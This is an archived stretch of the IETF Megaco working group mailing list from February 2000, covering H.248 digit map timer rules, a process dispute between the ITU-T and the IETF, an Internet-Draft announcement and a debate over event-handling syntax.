>      arbitrary number of digits from 0 to 9 terminated by # and a long
> timer is
> to be started after the
>      first digit. As per rule of starting timers it should have been the
> short
> timer because of the presence
>      of a ".", then why a long timer ?
        [[TomT]]  I agree with you -- it should be a short timer.

>      Secondly, what happens on timer expiry and no digits or # being
> dialed by
> the user ? Should MG
>      wait infinitely for the # to come or should it report the collected
> digits
> in digit completion event stating
>      that # was not received or should the digit collection procedure be
> abandoned ? (q)
        [[TomT]]  Report completion showing the digit string collected,
presumably no extra digit, and termination method PM (partial match).

> 9. With respect to the same example, "it has been stated that "x.F" and
> "x."
> convey the same meaning
>     except for the timer issue.
        [[TomT]]
         I deny that.  If you specify x. and a # is dialled, the result will
be reported as full match (FM) with extra digit (F).  The # represents a
departure from the pattern and immediately triggers the completion event.
You get the same immediate report and inter-event timing if you specify x.F,
but it will be reported with the F included in the dial string, no extra
event, and termination method UA (unambiguous match).  I would imagine that
the first result would be the more useful, since it automatically extracts
the irrelevant # event.

> In the case of "x." timer to be started is the
> short timer.
        [[TomT]]  Wherever a dot appears, it creates a situation of
ambiguity mandating use of the short timer.
> Other than the confusion on
>     the timer to be started issue as conveyed in point 8, a # in this case
> is
> also expected though it is not explicit
>     and the rules also don't talk of such things. It is confusing in the
> sense
> that for digit collection other than
>     DTMF, where # is not expected the case of "x." becomes
> indistinguishable.(q)
>
> Regards,
> Kushanava Laha,
> Hughes Software Systems,
> India

------_=_NextPart_001_01BF73A0.9BCDC57E
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Dgit map clarifications and queries




Answers =
below.



    

    -----Original Message-----

    From:   Kushanava Laha [SMTP:klaha@HSS.HNS.COM]

    Sent:   Tuesday, February 08, 2000 2:17 AM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Dgit map clarifications and =
queries

    


    Hi Tom,

         This is with =
reference to the digitmap changes as exchanged in

    the earlier mails viz. "Issue =
score card", "Updates submitted to ITU based

    on Issue score card" and =
"More digitmap fixes dtd. 02/04/2000".

         I list down =
below some points - a few are queries (q) and the rest

    clarifications (c)

    


    1.  Short timer modifier does not =
explicitly appear in a digitmap string (c)

    [[TomT]]  Neither short nor long timer =
modifier appears.  The "L" in the digit map string is =
for something else entirely (tone duration).
    


    2. The short timer is implicit. It is =
started only when there is a '.' (DOT)

    encountered

          OR =
when a pattern has matched but there is a possibility of an =
alternate

    match if more

          digits =
arrive within the timeout. (c)

    [[TomT]]  Correct

    


    3. Only 'L' modifiers can appear in a =
digit string and if it appears then it

    overrides the

         default =
interdigit timer for the digit position for which it appears. =
For

    subsequent

         digits till =
the modifier appears again the default interdigit timer is

    applicable.

         e.g 123L45 =
implies that only between 3 & 4 'L' timer is to be started =
and

    for the rest

         it is the =
default interdigit timer.(q)

    [[TomT]]  No -- "L" means =
duration of following event matters, nothing to do with inter-event =
timing.

     

    4. By a default interdigit timer I =
mean the timer which is started by the Media

    Gateway

         if it can =
determine that atleast one more digit is needed for a digit

    string to match any

         of the =
allowed patterns in the digit map. But in an earlier mail you =
have

    mentioned that

         this default =
interdigit timer is the Long Duration timer "L". Then what =
is

    the use of explicitly

         including an =
'L' in the digit string ? Isn't it implicit ? Or is it used to

    override a short timer ? (q)

    [[TomT]]  See above.  Timing is =
always implicit.

    


    5. Section 7.1.14, para 5 describes =
the 'L' timer as "placed in front ........."

    which suggests that

         'L' =
modifiers dictate  the validity of the duration of the digit =
following

    the modifier to be atleast

         equal to the =
long-duration threshold and is not applicable for subsequent

    digits. This is not

         the same as =
an interdigit timer. Then what is 'L' ? Is it the interdigit

    timer or the digit duration timer ? =
(q)

    [[TomT]]  Digit duration timer, for =
the one digit position following it.

    


    6. Given a digit map =
"123|1234" if the user dials 1235 then is 123 to be

    reported through the digit

        completion event? =
(q)

    [[TomT]]  123 plus the extra event 5, =
with termination method FM (per the dd/ce definition in annex E)

    


    7. The implication of a "." =
(DOT) is an indefinite expectation of the digit

    preceding the "." within =
the

         short timer =
duration. It makes sense then if "." appears after an =
"x" but

    what practical meaning

         does say =
"7." convey - which is nothing but an indefinite expectation =
of

    "7"s and "7"s =
only ? (q)

    [[TomT]]  That's correct.

    


    8.  With reference to an example =
stated by you , in case of DTMF dialing "x.F"

    means expecting an

         arbitrary =
number of digits from 0 to 9 terminated by # and a long timer is

    to be started after the

         first digit. =
As per rule of starting timers it should have been the short

    timer because of the presence

         of a =
".", then why a long timer ?

    [[TomT]]  I agree with you -- it =
should be a short timer.

    


         Secondly, =
what happens on timer expiry and no digits or # being dialed by

    the user ? Should MG

         wait =
infinitely for the # to come or should it report the collected =
digits

    in digit completion event =
stating

         that # was =
not received or should the digit collection procedure be

    abandoned ? (q)

    [[TomT]]  Report completion showing =
the digit string collected, presumably no extra digit, and termination =
method PM (partial match).
    


    9. With respect to the same example, =
"it has been stated that "x.F" and "x."

    convey the same meaning

        except for the =
timer issue. 

    [[TomT]] =20

     I deny =
that.  If you specify x. and a # is dialled, the result will be =
reported as full match (FM) with extra digit (F).  The # =
represents a departure from the pattern and immediately triggers the =
completion event.  You get the same immediate report and =
inter-event timing if you specify x.F, but it will be reported with the =
F included in the dial string, no extra event, and termination method =
UA (unambiguous match).  I would imagine that the first result =
would be the more useful, since it automatically extracts the =
irrelevant # event.  =

    


     

    In the case of "x." timer =
to be started is the

    short timer. 

    [[TomT]]  Wherever a dot appears, it =
creates a situation of ambiguity mandating use of the short =
timer.

    Other than the confusion on

        the timer to be =
started issue as conveyed in point 8, a # in this case is

    also expected though it is not =
explicit

        and the rules also =
don't talk of such things. It is confusing in the sense

    that for digit collection other =
than

        DTMF, where # is =
not expected the case of "x." becomes =
indistinguishable.(q)

    


    Regards,

    Kushanava Laha,

    Hughes Software Systems,

    India

    




------_=_NextPart_001_01BF73A0.9BCDC57E--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 04:15:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA17806
	for ; Thu, 10 Feb 2000 04:15:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FCEB6F10@standards.nortelnetworks.com>; Thu, 10 Feb 2000 4:12:04 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37266 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 04:10:53 -0500
Received: from mail1.itu.int (156.106.192.17) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.6C7CE7C0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 4:00:52
          -0500
Received: by mail1.itu.ch with Internet Mail Service (5.5.2650.21) id
          <1TJB3026>; Thu, 10 Feb 2000 10:04:40 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <905DD86907DAD3119DE70000778D770F213294@mailsrv1.itu.ch>
Date:         Thu, 10 Feb 2000 10:03:15 +0100
Reply-To: "Bigi, Fabio" 
Sender: "Media Gateway Control (megaco)"
              
From: "Bigi, Fabio" 
Subject:      Re: H.248 Activity
X-To:         "Shaw, Robert" 
X-cc:         "chair@IETF.ORG" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Dear Bob,

Many thanks for the useful information.  It is still not clear if H.248 will
fly.  I am at the disposal of Scott and Fred for any information they
require.

Regards,

Fabio

-----Original Message-----
From: Shaw, Robert
Sent: 09 February, 2000 10:10 PM
To: Zhao, Houlin; Bigi, Fabio
Subject: FW: H.248 Activity


fyi

--
Robert Shaw 
ITU Internet Strategy and Policy Advisor
International Telecommunication Union 
Place des Nations, 1211 Geneva, Switzerland


> -----Original Message-----
> From: Fred Baker [mailto:chair@IETF.ORG]
> Sent: 09 February 2000 18:54
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: H.248 Activity
>
>
> Scott:
>
> I have a question regarding the status of the Megaco/H.248 development
> activity in Geneva. SG16 is busily trying to "decide" the
> H.248 document,
> I'm told, and doing so in violation of its own procedures.
> It's procedures
> call for "deciding" to be based on a stable document, while
> the document
> before that house has changed substantively since October,
> and there are
> numerous contributions to change it even today.
>
> I understand that one of the key supporters of deciding the
> document this
> week is Tom Taylor, the chair of Megaco. Monday morning, Tom opened a
> Working Group last call on the IETF version of the document,
> which if any
> of the current ITU contributions are accepted differs
> substantively from
> the ITU document. By doing this, Tom cuts IETF review of the
> document out
> of the loop.
>
> I thought this was a joint development between IETF and ITU,
> a showcase of
> that in fact, and that the IETF would review and agree to
> H.248 before it
> was decided? What's going on here?
>
> Fred
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> Fred Baker      | 519 Lado Drive
> IETF Chair      | Santa Barbara California 93111
> www.ietf.org    | Desk:   +1-408-526-4257
>                 | Mobile: +1-805-886-3873
>                 | FAX:    +1-413-473-2403
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 06:58:55 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA19043
	for ; Thu, 10 Feb 2000 06:58:53 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C7E0F9E0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 6:55:14 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37381 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 06:54:23 -0500
Received: from ietf.org (132.151.1.176) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.43F96320@standards.nortelnetworks.com>; Thu, 10 Feb 2000 6:44:23
          -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org
          (8.9.1a/8.9.1a) with ESMTP id GAA18897; Thu, 10 Feb 2000 06:46:52
          -0500 (EST)
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
Message-ID:  <200002101146.GAA18897@ietf.org>
Date:         Thu, 10 Feb 2000 06:46:51 -0500
Reply-To: Internet-Drafts@ietf.org
Sender: "Media Gateway Control (megaco)"
              
Comments:     RFC822 error:  Incorrect or incomplete address field found and
              ignored.
From: Internet-Drafts@ietf.org
Subject:      I-D ACTION:draft-ietf-megaco-protocol-06.txt
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Media Gateway Control Working Group of the IETF.

        Title           : MEGACO Protocol
        Author(s)       : F. Cuervo, B. Hill, N. Greene, C. Huitema,
                          A. Rayhan,  B. Rosen, J. Segers
        Filename        : draft-ietf-megaco-protocol-06.txt
        Pages           : 147
        Date            : 09-Feb-00

MEGACO defines the protocols used between elements of a physically
decomposed multimedia Gateway consisting of a Media Gateway and a Media
Gateway Controller.  There are no functional differences from a system
view between a decomposed gateway, with distributed sub- components
potentially on more than one physical device, and a monolithic gateway.
This document does not define how gateways, multipoint control units or
integrated voice response units (IVRs) work.  Instead it creates a gen-
eral framework that is suitable for these applications.
Packet network interfaces may include IP, ATM or possibly others.  The
interfaces will support a variety of SCN signaling systems, including
tone signaling, ISDN, ISUP, QSIG, and GSM. National variants of these
signaling systems will be supported where applicable.
The protocol definition in this document is common text with ITU Recom-
mendation H.248.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-megaco-protocol-06.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
        "get draft-ietf-megaco-protocol-06.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
        mailserv@ietf.org.
In the body type:
        "FILE /internet-drafts/draft-ietf-megaco-protocol-06.txt".

NOTE:   The mail server at ietf.org can return the document in
        MIME-encoded form by using the "mpack" utility.  To use this
        feature, insert the command "ENCODING mime" before the "FILE"
        command.  To decode the response(s), you will need "munpack" or
        a MIME-compliant mail reader.  Different MIME-compliant mail readers
        exhibit different behavior, especially when dealing with
        "multipart" MIME messages (i.e. documents which have been split
        up into multiple messages), so check your local documentation on
        how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
        access-type="mail-server";
        server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:     <20000209152957.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-megaco-protocol-06.txt

--OtherAccess
Content-Type: Message/External-body;
        name="draft-ietf-megaco-protocol-06.txt";
        site="ftp.ietf.org";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID:     <20000209152957.I-D@ietf.org>

--OtherAccess--

--NextPart--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 08:36:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA23233
	for ; Thu, 10 Feb 2000 08:36:43 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8247DDA0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 8:33:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37586 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 08:31:30 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.3AB0AFD0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          8:31:30 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 10 Feb 2000 07:33:27 -0600
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by zmers013; Thu, 10
          Feb 2000 08:33:11 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN7PGL>; Thu, 10 Feb 2000 08:33:11 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF73CB.5E74DA98"
Message-ID:  
Date:         Thu, 10 Feb 2000 08:33:07 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: H.248 Activity
X-To:         Fred Baker 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF73CB.5E74DA98
Content-Type: text/plain;
        charset="iso-8859-1"

Let me take the liberty of clarifying the situation.  In summary, the ITU-T
is bending over backwards to ensure that the IETF has its say, but my own
tactical error in delaying Last Call past December will result in a
truncated formal last call process.  I have suggestions for compensating for
that below.

First: what is being considered by SG 16?  We are taking three documents as
our starting point:
 - TD-33/2 is exactly the same as -megaco-protocol-05.txt
(MegacoH248v14.doc)
 - TD-32/2 shows the deltas between TD-33/2 and the "White Document" which
was issued in the wake of the Red Bank meeting
 - TD-49/2 is the changes summed up in my final issue scorecard -- it was
reproduced on the list in my note "Updates Submitted To ITU Based On Issue
Scorecard" sent Monday at 9:58am EST.

You will see from this list that the ITU-T is taking full account of the
discussion which has occurred on the Megaco list since the Red Bank meeting
in October.  I will mention there is no departure here from normal ITU-T
procedure -- almost every document up for decision has change documents
submitted against it.  The key point is that the change documents (i.e.
TD-32/2 and TD-49/2 plus the others submitted by Cisco, Telcordia, and
Ericsson) must be agreed at this meeting to take effect.  The truth of the
matter is that there is some last-minute horse-trading on the ground, but we
will probably close on the open issues in front of us by some time tonight.

Now regarding WG Last Call.  I have a specific agreement with Glen
Freundlich, the Rapporteur in charge of proceedings here, that any issues
resolved on the list between now and next Wednesday (effectively Tuesday
night for North Americans) can be brought in for consideration on Wednesday.
This is, of course, somewhat short of the normal Last Call period.  I
apologize for that.

What I consider a more serious matter is that the IESG Last Call must come
after the ITU-T decision, if decision does happen at this meeting.  We do
have some flexibility to meet IESG objections, depending on their nature: I
believe some divergence between the ITU-T standard (H.248) and the IETF RFC
is possible, if it relates to very specific aspects of the protocol having
to do with IP-related operation.  We also have the flexibility provided by
the ITU-T provision for an Implementor's Guide to supplement basic protocol
document.  I have further ideas if absolutely necessary, but let's worry
about them when we get there.  The main point is to reaffirm the principle
that full IETF process must be followed before the RFC goes out.

I hope this explanation helps to clarify the situation.

Tom Taylor
Chairman, Megaco WG

> -----Original Message-----
> From: Fred Baker [SMTP:chair@IETF.ORG]
> Sent: Wednesday, February 09, 2000 12:54 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      H.248 Activity
>
> Scott:
>
> I have a question regarding the status of the Megaco/H.248 development
> activity in Geneva. SG16 is busily trying to "decide" the H.248 document,
> I'm told, and doing so in violation of its own procedures. It's procedures
> call for "deciding" to be based on a stable document, while the document
> before that house has changed substantively since October, and there are
> numerous contributions to change it even today.
>
> I understand that one of the key supporters of deciding the document this
> week is Tom Taylor, the chair of Megaco. Monday morning, Tom opened a
> Working Group last call on the IETF version of the document, which if any
> of the current ITU contributions are accepted differs substantively from
> the ITU document. By doing this, Tom cuts IETF review of the document out
> of the loop.
>
> I thought this was a joint development between IETF and ITU, a showcase of
> that in fact, and that the IETF would review and agree to H.248 before it
> was decided? What's going on here?
>
> Fred
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> Fred Baker      | 519 Lado Drive
> IETF Chair      | Santa Barbara California 93111
> www.ietf.org    | Desk:   +1-408-526-4257
>                 | Mobile: +1-805-886-3873
>                 | FAX:    +1-413-473-2403

------_=_NextPart_001_01BF73CB.5E74DA98
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: H.248 Activity




Let me take the =
liberty of clarifying the situation.  In summary, the ITU-T is =
bending over backwards to ensure that the IETF has its say, but my own =
tactical error in delaying Last Call past December will result in a =
truncated formal last call process.  I have suggestions for =
compensating for that below.



First: what is being =
considered by SG 16?  We are taking three documents as our =
starting point:

 - TD-33/2 is =
exactly the same as -megaco-protocol-05.txt (MegacoH248v14.doc)

 - TD-32/2 =
shows the deltas between TD-33/2 and the "White Document" =
which was issued in the wake of the Red Bank meeting



 - TD-49/2 is =
the changes summed up in my final issue scorecard -- it was reproduced =
on the list in my note "Updates Submitted To ITU Based On Issue =
Scorecard" sent Monday at 9:58am EST.



You will see from =
this list that the ITU-T is taking full account of the discussion which =
has occurred on the Megaco list since the Red Bank meeting in =
October.  I will mention there is no departure here from normal =
ITU-T procedure -- almost every document up for decision has change =
documents submitted against it.  The key point is that the change =
documents (i.e. TD-32/2 and TD-49/2 plus the others submitted by Cisco, =
Telcordia, and Ericsson) must be agreed at this meeting to take =
effect.  The truth of the matter is that there is some last-minute =
horse-trading on the ground, but we will probably close on the open =
issues in front of us by some time tonight.



Now regarding WG =
Last Call.  I have a specific agreement with Glen Freundlich, the =
Rapporteur in charge of proceedings here, that any issues resolved on =
the list between now and next Wednesday (effectively Tuesday night for =
North Americans) can be brought in for consideration on =
Wednesday.  This is, of course, somewhat short of the normal Last =
Call period.  I apologize for that.



What I consider a =
more serious matter is that the IESG Last Call must come after the =
ITU-T decision, if decision does happen at this meeting.  We do =
have some flexibility to meet IESG objections, depending on their =
nature: I believe some divergence between the ITU-T standard (H.248) =
and the IETF RFC is possible, if it relates to very specific aspects of =
the protocol having to do with IP-related operation.  We also have =
the flexibility provided by the ITU-T provision for an Implementor's =
Guide to supplement basic protocol document.  I have further ideas =
if absolutely necessary, but let's worry about them when we get =
there.  The main point is to reaffirm the principle that full IETF =
process must be followed before the RFC goes out.



I hope this =
explanation helps to clarify the situation.




Tom Taylor

Chairman, Megaco =
WG



    

    -----Original Message-----

    From:   Fred Baker [SMTP:chair@IETF.ORG]

    Sent:   Wednesday, February 09, 2000 12:54 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 H.248 Activity

    


    Scott:

    


    I have a question regarding the status =
of the Megaco/H.248 development

    activity in Geneva. SG16 is busily =
trying to "decide" the H.248 document,

    I'm told, and doing so in violation =
of its own procedures. It's procedures

    call for "deciding" to be =
based on a stable document, while the document

    before that house has changed =
substantively since October, and there are

    numerous contributions to change it =
even today.

    


    I understand that one of the key =
supporters of deciding the document this

    week is Tom Taylor, the chair of =
Megaco. Monday morning, Tom opened a

    Working Group last call on the IETF =
version of the document, which if any

    of the current ITU contributions are =
accepted differs substantively from

    the ITU document. By doing this, Tom =
cuts IETF review of the document out

    of the loop.

    


    I thought this was a joint development =
between IETF and ITU, a showcase of

    that in fact, and that the IETF would =
review and agree to H.248 before it

    was decided? What's going on =
here?

    


    Fred

    =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=
-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D=


    Fred =
Baker      | 519 Lado Drive

    IETF =
Chair      | Santa Barbara California =
93111

    www.ietf.org    | =
Desk:   +1-408-526-4257

             &nb=
sp;      | Mobile: +1-805-886-3873

             &nb=
sp;      | FAX:    =
+1-413-473-2403

    




------_=_NextPart_001_01BF73CB.5E74DA98--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 08:50:35 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24031
	for ; Thu, 10 Feb 2000 08:50:35 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.77F01730@standards.nortelnetworks.com>; Thu, 10 Feb 2000 8:47:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37608 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 08:45:50 -0500
Received: from newdev.harvard.edu (140.247.60.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.3B4563D0@standards.nortelnetworks.com>; Thu, 10 Feb 2000
          8:45:50 -0500
Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id IAA00178;
          Thu, 10 Feb 2000 08:48:12 -0500 (EST)
Message-ID:  <200002101348.IAA00178@newdev.harvard.edu>
Date:         Thu, 10 Feb 2000 08:48:12 -0500
Reply-To: Scott Bradner 
Sender: "Media Gateway Control (megaco)"
              
From: Scott Bradner 
Subject:      Re: H.248 Activity
X-To:         taylor@NORTELNETWORKS.COM
X-cc:         fred@cisco.com, mankin@isi.edu, vern@aciri.org
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Tom sez:
> What I consider a more serious matter is that the IESG Last Call must come
> after the ITU-T decision, if decision does happen at this meeting.  We do
> have some flexibility to meet IESG objections, depending on their nature: I
> believe some divergence between the ITU-T standard (H.248) and the IETF RFC
> is possible, if it relates to very specific aspects of the protocol having
> to do with IP-related operation.  We also have the flexibility provided by
> the ITU-T provision for an Implementor's Guide to supplement basic protocol
> document.  I have further ideas if absolutely necessary, but let's worry
> about them when we get there.  The main point is to reaffirm the principle
> that full IETF process must be followed before the RFC goes out.

I think there have been good intentions here but the conflict in process
issues are significant.

The aim was to have a single protocol that both organizations could agree
to, I can not see how that can happen if the ITU-T decision is made at this
meeting - the IETF process requires an IETF Last-Call and IESG review, it
is not uncommon for change requests to come out of these steps.

In addition, while I'm no expert in ITU-T process, it seems a reach to say
that a document that is being worked on as much as this one is "stable" and
I thought that ITU-T can only decide a "stable" document.

I do not want to declare this attempt a failure but it is getting hard to
reach any other conclusion.

Scott
(wearing my Transport AD hat)


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 09:19:45 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA26074
	for ; Thu, 10 Feb 2000 09:19:45 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.8729CEE0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 9:16:35 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 37640 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 10 Feb 2000 09:16:04 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.0EF49AA0@standards.nortelnetworks.com>; Thu, 10 Feb 2000 9:06:04
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA17679; Thu, 10 Feb
          2000 09:08:32 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA29371; Thu, 10 Feb
          2000 09:08:28 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTVMSB>; Thu, 10 Feb 2000 09:05:04 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208907@whq-msgusr-02.fore.com>
Date:         Thu, 10 Feb 2000 09:08:25 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Proposal for EventHandling
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm always open to compromise.  In this case, I have one
significant objection, and that is the return to "Action".
There are two problems:
        1. KeepActive is entirely separate from Notify.....
                it is not an Action = how do I handle this event,
                it is an override on signal/event interaction
        2. Process by digitmap is inappropriate; the Megaco
                method is to enable the completion event as well
                as specify a digitmap; you don't enable the dtmf
                digits and have a mystery event happen.
So, you would be back to Notify as the only action, with
KeepActive as a flag.  My suggestion is to adopt your proposal
on EventBufferFlag as an enumeration, leave the current syntax
except allow an explicit X- extension flag in the EventDescriptor
syntax as well as the EventBuffer enumeration.  This would allow an
experimental "Accumulate" flag to be implemented, which would give
you what Flemming wants:
        X-Accumulate setting for EventBuffer enumeration means
                Any event with the X-Accumulate flag is buffered
                Any event in EventsDescriptor not flagged X-Accumulate
                        would send the contents of the buffer

Brian

> -----Original Message-----
> From: Chip Sharp [mailto:chsharp@cisco.com]
> Sent: Thursday, February 10, 2000 2:51 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Proposal for EventHandling
>
>
> There has been a fair amount of discussion on the megaco list
> concerning
> EventHandling, mainly between Brian and Flemming.
>
> The text and procedures that are in
> draft-ietf-megaco-protocol-06.txt are
> also to be included in H.248 if it is approved.
>
> It seems that there is an impasse in terms of the event
> handling mechanism.
> I believe Brian and Flemming have expressed their views fairly well.
>
> It seems most people are happy with the current (06) procedure.  Or at
> least there doesn't seem to be anyone else objecting.
>
> I believe that our suggestion to go back to the previous eventhandling
> mechanism could be considered an optimization.  In my opinion it is an
> important optimization and the current mechanism has some
> drawbacks, but I
> don't think it is fundamentally broken (time will tell in both
> cases).  There is a general working agreement to leave
> optimizations to
> future versions or implementor's guides based on implementation
> experience.  However, the current syntax is so restrictive that it
> basically disallows making optimizations in future revisions.
>
> In order to move things along, I propose the following:
>
> 1)  Maintain the procedure defined in 06 for event handling.
>
> 2) change eventbufferflag to EventBuffer and make enumerated
> instead of
> Boolean.  Define two values initially:  On and Off.
> The procedure remains the same.  the syntax allows extension in future
> revisions if we need to make them without making up new flags
> or descriptors.
>
> 3) Change syntax of EventsDescriptor back to the way it was
> previously, but
> only have the following actions allowed:
>         KeepActive
>         Notify
>         AccumulateByDigitMap
>
> In effect, this should maintain the previous syntax, but
> support the new
> procedure.  In addition, it gives the flexibility to provide for new
> actions in future versions if needed.
>
> In going through the document, it seems very few changes
> would be needed to
> effect this suggestion.  The biggest is the ABNF for
> EventsDescriptor since
> it was changed substantially since the last release (I
> noticed Stream ID
> has been added also).
>
> I recommend changing the ABNF back to the previous ABNF for
> EventsDescriptor but remove the offending Actions.  If there are
> modifications of that section for other reasons please tell me.
>
> I hope this is acceptable to the group.  I am also making
> this suggestion
> at SG16 meeting for H.248 in the hopes of not repeating the
> event handling
> arguments again here.
>
> Chip
>
> Support NetAid!  http://www.netaid.org
> --------------------------------------------------
> Chip Sharp                 Consulting Engineering
> Cisco Systems              Telco Bio-region
> Reality - Love it or Leave it.
> --------------------------------------------------
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb 10 09:28:21 2000
